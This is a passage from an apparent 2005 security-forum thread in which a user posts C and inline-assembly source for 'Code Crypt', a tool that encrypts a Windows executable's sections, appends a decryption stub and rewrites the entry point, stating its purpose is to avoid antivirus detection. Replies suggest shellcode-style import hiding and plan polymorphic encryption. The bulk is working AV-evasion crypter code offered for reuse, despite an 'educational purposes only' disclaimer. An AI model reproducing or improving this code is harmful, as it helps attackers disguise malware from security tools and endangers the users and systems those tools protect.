// find an offset to the main PE header ... IMAGE_FILE_HEADER * pFileHeader = (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) + pDosHeader->e_lfanew + sizeof(IMAGE_NT_SIGNATURE));
// ... and optional PE header IMAGE_OPTIONAL_HEADER * pOptHeader = (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) + IMAGE_SIZEOF_FILE_HEADER);
IMAGE_SECTION_HEADER * sectionHeader = (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) + pFileHeader->SizeOfOptionalHeader);
DWORD newSectionOffset; DWORD SectionNum = pNtHeaders->FileHeader.NumberOfSections;
DWORD currentMaxVA = 0; int pos = 0;
IMAGE_SECTION_HEADER* tempHeader = sectionHeader; DWORD headerSize = sizeof(IMAGE_SECTION_HEADER); for(int i = 0; i < SectionNum; i++) { tempHeader->Characteristics |= IMAGE_SCN_MEM_WRITE; tempHeader = (IMAGE_SECTION_HEADER*)((DWORD)tempHeader + headerSize); }
return; }
PIMAGE_SECTION_HEADER AddSection(DWORD* pImageBase, DWORD codeVirtualStart, DWORD codeSize) { // get DOS header IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase; // get NT header IMAGE_NT_HEADERS * pNtHeaders = (IMAGE_NT_HEADERS*)((DWORD)pImageBase+pDosHeader->e_lfanew);
// find an offset to the main PE header ... IMAGE_FILE_HEADER * pFileHeader = (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) + pDosHeader->e_lfanew + sizeof(IMAGE_NT_SIGNATURE));
// ... and optional PE header IMAGE_OPTIONAL_HEADER * pOptHeader = (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) + IMAGE_SIZEOF_FILE_HEADER);
IMAGE_SECTION_HEADER * sectionHeader = (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) + pFileHeader->SizeOfOptionalHeader);
DWORD newSectionOffset; DWORD SectionNum = pNtHeaders->FileHeader.NumberOfSections;
newSectionOffset = (DWORD)sectionHeader +pNtHeaders->FileHeader.NumberOfSections*sizeof(IMAGE_SECTION_HEADER) - (DWORD)pImageBase;
// check whether there's room for a new section if(pNtHeaders->OptionalHeader.SizeOfHeaders<(newSectionOffset+sizeof(IMAGE_SECTION_HEADER))) { return NULL; }
// increase SizeOf
// create a new section
IMAGE_SECTION_HEADER* newsection = (IMAGE_SECTION_HEADER*)((DWORD)pImageBase + newSectionOffset);
// go to the last section // for(DWORD i=0;i<(SectionNum-1);i++) // { // PEfile.image_section_header[i].Characteristics= // PEfile.image_section_header[i].Characteristics | IMAGE_SCN_MEM_WRITE; // }
// start to build the new section DWORD n = sizeof(IMAGE_SECTION_HEADER); CopyMemory(newsection, (IMAGE_SECTION_HEADER*)((DWORD)newsection - n), sizeof(IMAGE_SECTION_HEADER));
// VirtualAddress... /* DWORD sectionAlignment = pNtHeaders->OptionalHeader.SectionAlignment;
newsection->VirtualAddress = codeVirtualStart - codeVirtualStart%sectionAlignment; newsection->Misc.VirtualSize = codeSize + codeSize%sectionAlignment;
// RawSize.. DWORD alignment = pNtHeaders->OptionalHeader.FileAlignment; if(codeSize < alignment) newsection->SizeOfRawData = alignment; else newsection->SizeOfRawData = codeSize + codeSize % alignment;
// Section name int l=(int)strlen(".stub"); FillMemory(newsection->Name,8,0x00); CopyMemory(newsection->Name,".stub",l);
// Characteristics newsection->Characteristics= IMAGE_SCN_MEM_WRITE| IMAGE_SCN_MEM_READ| IMAGE_SCN_MEM_EXECUTE| IMAGE_SCN_CNT_UNINITIALIZED_DATA | IMAGE_SCN_CNT_INITIALIZED_DATA| IMAGE_SCN_CNT_CODE;//0xE00000E0;
// RawOffset newsection->PointerToRawData = codeVirtualStart - codeVirtualStart%alignment; newsection->Misc.PhysicalAddress = newsection->Misc.VirtualSize; newsection->NumberOfLinenumbers = 0; newsection->NumberOfRelocations = 0; newsection->PointerToLinenumbers = 0; newsection->PointerToRelocations = 0; */ // update the PE header pNtHeaders->FileHeader.NumberOfSections++; // newsection -> will be returned return (PIMAGE_SECTION_HEADER)newsection; }
int main( int argc, char* argv[] ) { if(argc != 2) { printf("*** Code Crypt 0.0 by Tibbar@GovernmentSecurity.org ***\n"); printf("*** ***\n"); printf("*** Usage: codecrypt filename.exe ***\n"); printf("*** Will encrypt the codesection to avoid detection ***\n"); printf("*** Disclaimer: This software is for educational ***\n"); printf("*** purposes only. No responsibility is held or ***\n"); printf("*** accepted for misuse. ***\n"); return 0; } HANDLE hFile = CreateFile( argv[1], GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if(hFile == NULL) { printf("Invalid filename...exiting!"); return 0; } // get size of file LARGE_INTEGER bigInt; BOOL diditWork = GetFileSizeEx(hFile, &bigInt); // assume it's DWORD or less DWORD fileSize = bigInt.LowPart; if(fileSize + 0x2000 >= ULONG_MAX) return 0;
HANDLE hFileMap = CreateFileMapping( hFile, NULL, PAGE_READWRITE,// | SEC_IMAGE, bigInt.HighPart, bigInt.LowPart + 0x2000 , "myfile"); if(hFileMap == NULL) { printf("Unable to create file mapping! Exiting..."); return 0; }
// map file into memory LPVOID hMap = MapViewOfFile( hFileMap, FILE_MAP_WRITE, 0, 0, 0); if(hMap == NULL) { printf("Unable to map file into memory! Exiting..."); return 0; }
HMODULE hModule = (HMODULE)hMap; PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule;
IMAGE_OPTIONAL_HEADER* optionHeader =(IMAGE_OPTIONAL_HEADER *) ((BYTE*)hModule+pDosHeader->e_lfanew+24);
VOID* pBaseCode = (VOID*)optionHeader->BaseOfCode; DWORD codeSize = optionHeader->SizeOfCode;
IMAGE_SECTION_HEADER* sectionHeader = GetSectionHeader(hModule);
// unprotect code BOOL diditwork = VirtualProtect((void*)((DWORD)hModule + (DWORD)pBaseCode), codeSize, PAGE_READWRITE, NULL); DWORD x = GetLastError(); // crypt code
IMAGE_SECTION_HEADER* codeSection = FindSection((DWORD*)hModule, (DWORD)pBaseCode); DWORD rawCodePosition = codeSection->PointerToRawData;
DWORD virtualCodeSize = codeSection->Misc.VirtualSize;
DWORD startpos = (DWORD)hModule + (DWORD)rawCodePosition; DWORD endpos = startpos + virtualCodeSize;
_asm { mov EBX, startpos; mov EDX, endpos; StartLoop: CMP EBX, EDX; // when these are the same, stop JZ StopLooping mov AL, BYTE PTR [EBX] // get value at address EBX inc AL; // decrypt it mov BYTE PTR [EBX], AL // put decrypted value back in right place inc EBX; jmp StartLoop; StopLooping: } // store rva from new entry point to original entry point at position pBaseCode + fileSize + 2
IMAGE_SECTION_HEADER* lastSection = FindLastSection((DWORD*)hModule);
DWORD* storageSpot = (DWORD*)((DWORD)hModule + (DWORD)lastSection->SizeOfRawData + (DWORD)lastSection->PointerToRawData);
*storageSpot = (DWORD)optionHeader->AddressOfEntryPoint; //originalEntryPoint- ((DWORD)storageSpot + 2);
// store codebase at storagespot - 1 *(storageSpot - 1) = (DWORD)pBaseCode;
// store base at storagespot + 1 *(storageSpot + 1) = (DWORD)optionHeader->ImageBase;
// store original code size at position storageSpot + 2 *(storageSpot + 2) = virtualCodeSize;//virtualCodeSize;//;
// now we need to add our decryption routine to storageSpot + 4 (say) int dSize = (PBYTE)FunctionStart - (PBYTE)FunctionEnd; DWORD start = (DWORD) FunctionStart; DWORD end = (DWORD) FunctionEnd; DWORD length = (end - start); memcpy(storageSpot + 4, DecryptAndStart, length);
// set new code as executable // IMAGE_SECTION_HEADER* newsection = AddSection((DWORD*)hModule, (DWORD)storageSpot + 4 - (DWORD)hModule, length);
// to do this we will simply find the last section (i.e. one with highest RVA // and extend this by size needed // and set it to executable
lastSection->Misc.VirtualSize += 0x2000; lastSection->SizeOfRawData += 0x2000; lastSection->Characteristics = IMAGE_SCN_MEM_WRITE| IMAGE_SCN_MEM_READ| IMAGE_SCN_MEM_EXECUTE| IMAGE_SCN_CNT_UNINITIALIZED_DATA | IMAGE_SCN_CNT_INITIALIZED_DATA| IMAGE_SCN_CNT_CODE;//0xE00000E0;
// set new entry point optionHeader->SizeOfImage += 0x2000; optionHeader->SizeOfCode += 0x2000; optionHeader->SizeOfInitializedData += 0x2000; // optionHeader->AddressOfEntryPoint = (DWORD)storageSpot + 4 +0xC - (DWORD)hModule + 0x1A00;// + 0x6000; optionHeader->AddressOfEntryPoint = (DWORD)lastSection->VirtualAddress + (DWORD)lastSection->SizeOfRawData + 4 +0xC - 0x2000;
// finally we need to set the main code section as writable for our stub to decrypt it! MakeAllSectionsWritable((DWORD*)hModule); }
nolimit
Jul 13 2005, 01:15 AM
Why not just find functions you need like shellcoding does? find kernel32, scan for GetProcAddress, once you have that.. loop through and get each cmd you want. boom, even imports can be encrypted ;>
tibbar
Jul 13 2005, 01:40 AM
i prefer to keep the stub as small and simple as possible. this makes avoiding AV easier.
i dont see much benefit of encrypting the imports, except to make analysis harder.
Killaloop
Jul 13 2005, 02:37 AM
nice to see your code working thanks for it. tried it on a few executables and it worked fine. good to see that I could help a little to point you to the right directions (just a guess by looking at the code). really good work. can be very useful. /edit when changing the de and encryption code I found an error in your comments QUOTE _asm { mov EBX, startpos; mov EDX, endpos; StartLoop: CMP EBX, EDX; // when these are the same, stop JZ StopLooping mov AL, BYTE PTR [EBX] // get value at address EBX inc AL; // decrypt it mov BYTE PTR [EBX], AL // put decrypted value back in right place inc EBX; jmp StartLoop; StopLooping: }
it should be // crypt it // put crypted value back in right place
ninar12
Jul 13 2005, 05:30 PM
QUOTE(Killaloop @ Jul 12 2005, 09:37 PM) /edit when changing the de and encryption code I found an error in your comments QUOTE _asm { mov EBX, startpos; mov EDX, endpos; StartLoop: CMP EBX, EDX; // when these are the same, stop JZ StopLooping mov AL, BYTE PTR [EBX] // get value at address EBX inc AL; // decrypt it mov BYTE PTR [EBX], AL // put decrypted value back in right place inc EBX; jmp StartLoop; StopLooping: }
it should be // crypt it // put crypted value back in right place  hehehe dont look o much on codes it will make u codingsick  between nais code
tibbar
Jul 13 2005, 05:43 PM
i guess that was a side effect of copy / paste. well at least i know what i mean!
im going to add encryption for all sections now.
also i had a wicked idea for polymorhpic encryption of the sections...
tibbar
Jul 16 2005, 05:55 PM
well ive been busy again  i've set it to encrypt the 1st two sections on the assumption these are CODE and DATA. It's hardcoded not to look further than this, as I'm not certain which other sections can be safely encrypted... The stub is getting a bit nasty asm now, but it's still managable. Next step will be to add proper encryption and make the stub polymorphic. Here's the code: CODE /*
CodeCrypt 0.0 Written by Tibbar @ GSO. You may use this code in your own projects for non-commercial purposes provided you give credit to the author.
This is provided for educational purposes only. No legal reponsibility is held or accepted by the author for misuse of this code.
*/
#include <string.h> #include <stdio.h>
#include "windows.h" #include "limits.h"
void FunctionStart(){}
// this function will be copied into binary and will become the entry point // it decrypts the code section and jmp's to the original entry point. __declspec( naked )void DecryptAndStart() { // retrieve original entry point, which will live at eip - 4 // and codesize at eip - 2 DWORD eipVal; DWORD codeSize; DWORD entryPt; _asm { // thanks to IDESPinner for this trick call jj; // think relative, this means go to next comand jj: pop EAX; // pop the EIP off the stack into EAX since it got pushed by the call
mov EBX, EAX; // save eip in ebx - keep it safe for a while
mov ECX, [EAX - 0x9]; // no of sections push ECX; // push no of sections on stack
mov EAX, 0x11; add EAX, ECX; add EAX, ECX; add EAX, ECX; add EAX, ECX; add EAX, ECX; add EAX, ECX; add EAX, ECX; add EAX, ECX; // each section info is 8 bytes
mov EDX, EBX; sub EDX, EAX; mov ECX, [EDX]; // original entry point rva in ECX (EAX - 0x15 == storageSpot )
add EDX, 4;
mov EAX, [EDX]; // imagebase in EAX
add EDX, 4; // move to next data item (first section data)
add ECX, EAX; // actual address of entrypoint in ECX push ECX; // keep it on stack for later push EAX; // image base on stack
push EDX; // backward rva from eip initial to current data item sub EDX, EDX; // zero at EDX outerLoop: mov ECX, [ESP+0xC]; // no of sections CMP EDX, ECX; jz theEnd; pop ECX; // was EDX earlier for backward rva from eip to data push EDX; // save counter for next loop
// at ECX we have section data item 1
// inner loop innerLoop: // now retrieve VirtualAddress and Misc.VirtualSize for this section mov EBX,[ECX]; // VirtualAddress push EBX; mov EDX, [ECX + 0x4]; // Misc.VirtualSize
mov EAX, [ESP + 0x8]; // get imagebase back add EAX, EBX; // so EAX is pointer to section start
add ECX, 0x8; // fastforward to next section for next loop push ECX; // save this for next loop (eip at entry)
// now we loop from [EAX] to [EAX+EDX] mov EBX, EAX; // put code start address in EBX add EDX, EAX; // last item of code to decrypt in EDX StartLoop: CMP EBX, EDX; // when these are the same, stop JZ StopLooping mov AL, BYTE PTR [EBX] // get value at address EBX dec AL; // decrypt it mov BYTE PTR [EBX], AL // put decrypted value back in right place inc EBX; jmp StartLoop; StopLooping:
// now we must move to next section pop EBX; // get eip back pop EAX; // get section pointer back pop EDX; // get i inc EDX; // i++ push ECX;
jmp outerLoop;
theEnd: pop ECX; pop ECX; pop ECX; jmp ECX; }
}
void FunctionEnd(){}
ULONG __fastcall GetSizeOfImage( IN PVOID pImageBase ) { // get DOS header IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase;
// find an offset to the main PE header ... IMAGE_FILE_HEADER * pFileHeader = (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) + pDosHeader->e_lfanew + sizeof(IMAGE_NT_SIGNATURE));
// ... and optional PE header IMAGE_OPTIONAL_HEADER * pOptHeader = (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) + IMAGE_SIZEOF_FILE_HEADER);
// calculate the size ULONG nSizeOfImage = pOptHeader->SizeOfHeaders;
IMAGE_SECTION_HEADER * pSecHeader = (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) + pFileHeader->SizeOfOptionalHeader);
// sum size of all image sections; this will result in the image // size for (int i = 0; i < pFileHeader->NumberOfSections; i++, pSecHeader++) nSizeOfImage += pSecHeader->SizeOfRawData;
// return size of the executable return nSizeOfImage; }
IMAGE_SECTION_HEADER* GetSectionHeader(IN PVOID pImageBase) { // get DOS header IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase;
// find an offset to the main PE header ... IMAGE_FILE_HEADER * pFileHeader = (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) + pDosHeader->e_lfanew + sizeof(IMAGE_NT_SIGNATURE));
// ... and optional PE header IMAGE_OPTIONAL_HEADER * pOptHeader = (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) + IMAGE_SIZEOF_FILE_HEADER);
// calculate the size ULONG nSizeOfImage = pOptHeader->SizeOfHeaders;
IMAGE_SECTION_HEADER * pSecHeader = (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) + pFileHeader->SizeOfOptionalHeader); return pSecHeader; }
PIMAGE_SECTION_HEADER FindLastSection(DWORD* pImageBase) { // get DOS header IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase; // get NT header IMAGE_NT_HEADERS * pNtHeaders = (IMAGE_NT_HEADERS*)((DWORD)pImageBase+pDosHeader->e_lfanew);
// find an offset to the main PE header ... IMAGE_FILE_HEADER * pFileHeader = (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) + pDosHeader->e_lfanew + sizeof(IMAGE_NT_SIGNATURE));
// ... and optional PE header IMAGE_OPTIONAL_HEADER * pOptHeader = (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) + IMAGE_SIZEOF_FILE_HEADER);
IMAGE_SECTION_HEADER * sectionHeader = (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) + pFileHeader->SizeOfOptionalHeader);
DWORD newSectionOffset; DWORD SectionNum = pNtHeaders->FileHeader.NumberOfSections;
DWORD currentMaxVA = 0; int pos = 0;
IMAGE_SECTION_HEADER* tempHeader = sectionHeader; DWORD headerSize = sizeof(IMAGE_SECTION_HEADER); for(int i = 0; i < SectionNum; i++) { if((DWORD)(tempHeader->VirtualAddress) > currentMaxVA) { currentMaxVA = (DWORD)(tempHeader->VirtualAddress); pos = i; } tempHeader = (IMAGE_SECTION_HEADER*)((DWORD)tempHeader + headerSize); }
IMAGE_SECTION_HEADER* lastSectionHeader = (IMAGE_SECTION_HEADER*)((DWORD)sectionHeader + pos*sizeof(IMAGE_SECTION_HEADER)); return lastSectionHeader; }
PIMAGE_SECTION_HEADER FindFirstSection(DWORD* pImageBase) { // get DOS header IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase; // get NT header IMAGE_NT_HEADERS * pNtHeaders = (IMAGE_NT_HEADERS*)((DWORD)pImageBase+pDosHeader->e_lfanew);
// find an offset to the main PE header ... IMAGE_FILE_HEADER * pFileHeader = (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) + pDosHeader->e_lfanew + sizeof(IMAGE_NT_SIGNATURE));
// ... and optional PE header IMAGE_OPTIONAL_HEADER * pOptHeader = (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) + IMAGE_SIZEOF_FILE_HEADER);
IMAGE_SECTION_HEADER * sectionHeader = (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) + pFileHeader->SizeOfOptionalHeader);
return sectionHeader; }
PIMAGE_SECTION_HEADER FindNextSection(DWORD* pImageBase, PIMAGE_SECTION_HEADER currentSection) { // get DOS header IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase; // get NT header IMAGE_NT_HEADERS * pNtHeaders = (IMAGE_NT_HEADERS*)((DWORD)pImageBase+pDosHeader->e_lfanew);
// find an offset to the main PE header ... IMAGE_FILE_HEADER * pFileHeader = (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) + pDosHeader->e_lfanew + sizeof(IMAGE_NT_SIGNATURE));
// ... and optional PE header IMAGE_OPTIONAL_HEADER * pOptHeader = (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) + IMAGE_SIZEOF_FILE_HEADER);
IMAGE_SECTION_HEADER * sectionHeader = (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) + pFileHeader->SizeOfOptionalHeader);
DWORD newSectionOffset; DWORD SectionNum = pNtHeaders->FileHeader.NumberOfSections;
if(SectionNum <= 1) return NULL;
IMAGE_SECTION_HEADER* prevHeader = sectionHeader; IMAGE_SECTION_HEADER* currHeader = (IMAGE_SECTION_HEADER*)((DWORD)sectionHeader + sizeof(IMAGE_SECTION_HEADER)); DWORD headerSize = sizeof(IMAGE_SECTION_HEADER); for(int i = 0; i < SectionNum - 1; i++) { if(prevHeader == currentSection) return currHeader; prevHeader = currHeader; currHeader = (IMAGE_SECTION_HEADER*)((DWORD)currHeader + sizeof(IMAGE_SECTION_HEADER)); }
return NULL; }
PIMAGE_SECTION_HEADER FindSection(DWORD* pImageBase, DWORD sectionbase) { // get DOS header IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase; // get NT header IMAGE_NT_HEADERS * pNtHeaders = (IMAGE_NT_HEADERS*)((DWORD)pImageBase+pDosHeader->e_lfanew);
// find an offset to the main PE header ... IMAGE_FILE_HEADER * pFileHeader = (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) + pDosHeader->e_lfanew + sizeof(IMAGE_NT_SIGNATURE));
// ... and optional PE header IMAGE_OPTIONAL_HEADER * pOptHeader = (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) + IMAGE_SIZEOF_FILE_HEADER);
IMAGE_SECTION_HEADER * sectionHeader = (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) + pFileHeader->SizeOfOptionalHeader);
DWORD newSectionOffset; DWORD SectionNum = pNtHeaders->FileHeader.NumberOfSections;
DWORD currentMaxVA = 0; int pos = 0;
IMAGE_SECTION_HEADER* tempHeader = sectionHeader; DWORD headerSize = sizeof(IMAGE_SECTION_HEADER); for(int i = 0; i < SectionNum; i++) { if(tempHeader->VirtualAddress == sectionbase) { return tempHeader; } tempHeader = (IMAGE_SECTION_HEADER*)((DWORD)tempHeader + headerSize); }
return NULL; }
void MakeAllSectionsWritable(DWORD* pImageBase) { // get DOS header IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase; // get NT header IMAGE_NT_HEADERS * pNtHeaders = (IMAGE_NT_HEADERS*)((DWORD)pImageBase+pDosHeader->e_lfanew);
// find an offset to the main PE header ... IMAGE_FILE_HEADER * pFileHeader = (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) + pDosHeader->e_lfanew + sizeof(IMAGE_NT_SIGNATURE));
// ... and optional PE header IMAGE_OPTIONAL_HEADER * pOptHeader = (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) + IMAGE_SIZEOF_FILE_HEADER);
IMAGE_SECTION_HEADER * sectionHeader = (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) + pFileHeader->SizeOfOptionalHeader);
DWORD newSectionOffset; DWORD SectionNum = pNtHeaders->FileHeader.NumberOfSections;
DWORD currentMaxVA = 0; int pos = 0;
IMAGE_SECTION_HEADER* tempHeader = sectionHeader; DWORD headerSize = sizeof(IMAGE_SECTION_HEADER); for(int i = 0; i < SectionNum; i++) { tempHeader->Characteristics |= IMAGE_SCN_MEM_WRITE; tempHeader = (IMAGE_SECTION_HEADER*)((DWORD)tempHeader + headerSize); }
return; }
PIMAGE_SECTION_HEADER AddSection(DWORD* pImageBase, DWORD codeVirtualStart, DWORD codeSize) { // get DOS header IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase; // get NT header IMAGE_NT_HEADERS * pNtHeaders = (IMAGE_NT_HEADERS*)((DWORD)pImageBase+pDosHeader->e_lfanew);
// find an offset to the main PE header ... IMAGE_FILE_HEADER * pFileHeader = (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) + pDosHeader->e_lfanew + sizeof(IMAGE_NT_SIGNATURE));
// ... and optional PE header IMAGE_OPTIONAL_HEADER * pOptHeader = (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) + IMAGE_SIZEOF_FILE_HEADER);
IMAGE_SECTION_HEADER * sectionHeader = (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) + pFileHeader->SizeOfOptionalHeader);
DWORD newSectionOffset; DWORD SectionNum = pNtHeaders->FileHeader.NumberOfSections;
newSectionOffset = (DWORD)sectionHeader +pNtHeaders->FileHeader.NumberOfSections*sizeof(IMAGE_SECTION_HEADER) - (DWORD)pImageBase;
// check whether there's room for a new section if(pNtHeaders->OptionalHeader.SizeOfHeaders<(newSectionOffset+sizeof(IMAGE_SECTION_HEADER))) { return NULL; }
// increase SizeOf
// create a new section
IMAGE_SECTION_HEADER* newsection = (IMAGE_SECTION_HEADER*)((DWORD)pImageBase + newSectionOffset);
// go to the last section // for(DWORD i=0;i<(SectionNum-1);i++) // { // PEfile.image_section_header[i].Characteristics= // PEfile.image_section_header[i].Characteristics | IMAGE_SCN_MEM_WRITE; // }
// start to build the new section DWORD n = sizeof(IMAGE_SECTION_HEADER); CopyMemory(newsection, (IMAGE_SECTION_HEADER*)((DWORD)newsection - n), sizeof(IMAGE_SECTION_HEADER));
// VirtualAddress... /* DWORD sectionAlignment = pNtHeaders->OptionalHeader.SectionAlignment;
newsection->VirtualAddress = codeVirtualStart - codeVirtualStart%sectionAlignment; newsection->Misc.VirtualSize = codeSize + codeSize%sectionAlignment;
// RawSize.. DWORD alignment = pNtHeaders->OptionalHeader.FileAlignment; if(codeSize < alignment) newsection->SizeOfRawData = alignment; else newsection->SizeOfRawData = codeSize + codeSize % alignment;
// Section name int l=(int)strlen(".stub"); FillMemory(newsection->Name,8,0x00); CopyMemory(newsection->Name,".stub",l);
// Characteristics newsection->Characteristics= IMAGE_SCN_MEM_WRITE| IMAGE_SCN_MEM_READ| IMAGE_SCN_MEM_EXECUTE| IMAGE_SCN_CNT_UNINITIALIZED_DATA | IMAGE_SCN_CNT_INITIALIZED_DATA| IMAGE_SCN_CNT_CODE;//0xE00000E0;
// RawOffset newsection->PointerToRawData = codeVirtualStart - codeVirtualStart%alignment; newsection->Misc.PhysicalAddress = newsection->Misc.VirtualSize; newsection->NumberOfLinenumbers = 0; newsection->NumberOfRelocations = 0; newsection->PointerToLinenumbers = 0; newsection->PointerToRelocations = 0; */ // update the PE header pNtHeaders->FileHeader.NumberOfSections++; // newsection -> will be returned return (PIMAGE_SECTION_HEADER)newsection; }
void EncryptSection(IMAGE_SECTION_HEADER* codeSection, DWORD* imageBase) { DWORD rawCodePosition = codeSection->PointerToRawData;
DWORD virtualCodeSize = codeSection->SizeOfRawData;//->Misc.VirtualSize;
DWORD startpos = (DWORD)imageBase + (DWORD)rawCodePosition; DWORD endpos = startpos + virtualCodeSize; // unprotect code BOOL diditwork = VirtualProtect((void*)startpos, virtualCodeSize, PAGE_READWRITE, NULL); DWORD x = GetLastError();
_asm { mov EBX, startpos; mov EDX, endpos; StartLoop: CMP EBX, EDX; // when these are the same, stop JZ StopLooping mov AL, BYTE PTR [EBX] // get value at address EBX inc AL; // decrypt it mov BYTE PTR [EBX], AL // put decrypted value back in right place inc EBX; jmp StartLoop; StopLooping: } }
int main( int argc, char* argv[] ) { if(argc != 2) { printf("*** Code Crypt 0.1 by Tibbar@GovernmentSecurity.org ***\n"); printf("*** ***\n"); printf("*** Usage: codecrypt filename.exe ***\n"); printf("*** Will encrypt the 1st two sections to avoid ***\n"); printf("*** detection. It assumes these are .CODE & .DATA ***\n"); printf("*** Disclaimer: This software is for educational ***\n"); printf("*** purposes only. No responsibility is held or ***\n"); printf("*** accepted for misuse. ***\n"); return 0; } HANDLE hFile = CreateFile( argv[1], GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if(hFile == NULL) { printf("Invalid filename...exiting!"); return 0; } // get size of file LARGE_INTEGER bigInt; BOOL diditWork = GetFileSizeEx(hFile, &bigInt); // assume it's DWORD or less DWORD fileSize = bigInt.LowPart; if(fileSize + 0x2000 >= ULONG_MAX) return 0;
HANDLE hFileMap = CreateFileMapping( hFile, NULL, PAGE_READWRITE,// | SEC_IMAGE, bigInt.HighPart, bigInt.LowPart + 0x2000 , "myfile"); if(hFileMap == NULL) { printf("Unable to create file mapping! Exiting..."); return 0; }
// map file into memory LPVOID hMap = MapViewOfFile( hFileMap, FILE_MAP_WRITE, 0, 0, 0); if(hMap == NULL) { printf("Unable to map file into memory! Exiting..."); return 0; }
HMODULE hModule = (HMODULE)hMap; PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule; IMAGE_NT_HEADERS * pNtHeaders = (IMAGE_NT_HEADERS*)((DWORD)hModule + pDosHeader->e_lfanew);
IMAGE_OPTIONAL_HEADER* optionHeader =(IMAGE_OPTIONAL_HEADER *) ((BYTE*)hModule+pDosHeader->e_lfanew+24);
VOID* pBaseCode = (VOID*)optionHeader->BaseOfCode; DWORD codeSize = optionHeader->SizeOfCode;
IMAGE_SECTION_HEADER* sectionHeader = GetSectionHeader(hModule);
// crypt sections
IMAGE_SECTION_HEADER* sectionHeaderArray[20]; for(int i = 0;i <= 20; i++) sectionHeaderArray[i] = NULL;
sectionHeaderArray[0] = FindFirstSection((DWORD*)hModule); EncryptSection(sectionHeaderArray[0], (DWORD*)hModule);
int j = 1; while(true) { sectionHeaderArray[j] = FindNextSection((DWORD*)hModule, sectionHeaderArray[j-1]); if(sectionHeaderArray[j] == NULL) break; EncryptSection(sectionHeaderArray[j], (DWORD*)hModule); j++; break;////////////////////// }
// store rva from new entry point to original entry point at position pBaseCode + fileSize + 2
DWORD numOfSections = 2;// pNtHeaders->FileHeader.NumberOfSections;
IMAGE_SECTION_HEADER* lastSection = FindLastSection((DWORD*)hModule);
DWORD* storageSpot = (DWORD*)((DWORD)hModule + (DWORD)lastSection->SizeOfRawData + (DWORD)lastSection->PointerToRawData);
*(storageSpot) = (DWORD)optionHeader->AddressOfEntryPoint; //originalEntryPoint- ((DWORD)storageSpot + 2);
*(storageSpot + 1) = (DWORD)optionHeader->ImageBase;
for(i = 0; i < numOfSections; i++) { *(storageSpot + 2 + 2*i) = (DWORD)sectionHeaderArray[i]->VirtualAddress; *(storageSpot + 2 + 2*i + 1) = (DWORD)sectionHeaderArray[i]->Misc.VirtualSize; }
*(storageSpot + 2 + 2*numOfSections) = 2;//pNtHeaders->FileHeader.NumberOfSections;
// now we need to add our decryption routine to storageSpot + 4 (say) int dSize = (PBYTE)FunctionStart - (PBYTE)FunctionEnd; DWORD start = (DWORD) FunctionStart; DWORD end = (DWORD) FunctionEnd; DWORD length = (end - start); // memcpy(storageSpot + 2 + pNtHeaders->FileHeader.NumberOfSections + 1, DecryptAndStart, length); CopyMemory(storageSpot + 2 + 2*numOfSections + 1, DecryptAndStart, length);
// set new code as executable // IMAGE_SECTION_HEADER* newsection = AddSection((DWORD*)hModule, (DWORD)storageSpot + 4 - (DWORD)hModule, length);
// to do this we will simply find the last section (i.e. one with highest RVA // and extend this by size needed // and set it to executable
lastSection->Misc.VirtualSize += 0x2000; lastSection->SizeOfRawData += 0x2000; lastSection->Characteristics = IMAGE_SCN_MEM_WRITE| IMAGE_SCN_MEM_READ| IMAGE_SCN_MEM_EXECUTE| IMAGE_SCN_CNT_UNINITIALIZED_DATA | IMAGE_SCN_CNT_INITIALIZED_DATA| IMAGE_SCN_CNT_CODE;//0xE00000E0;
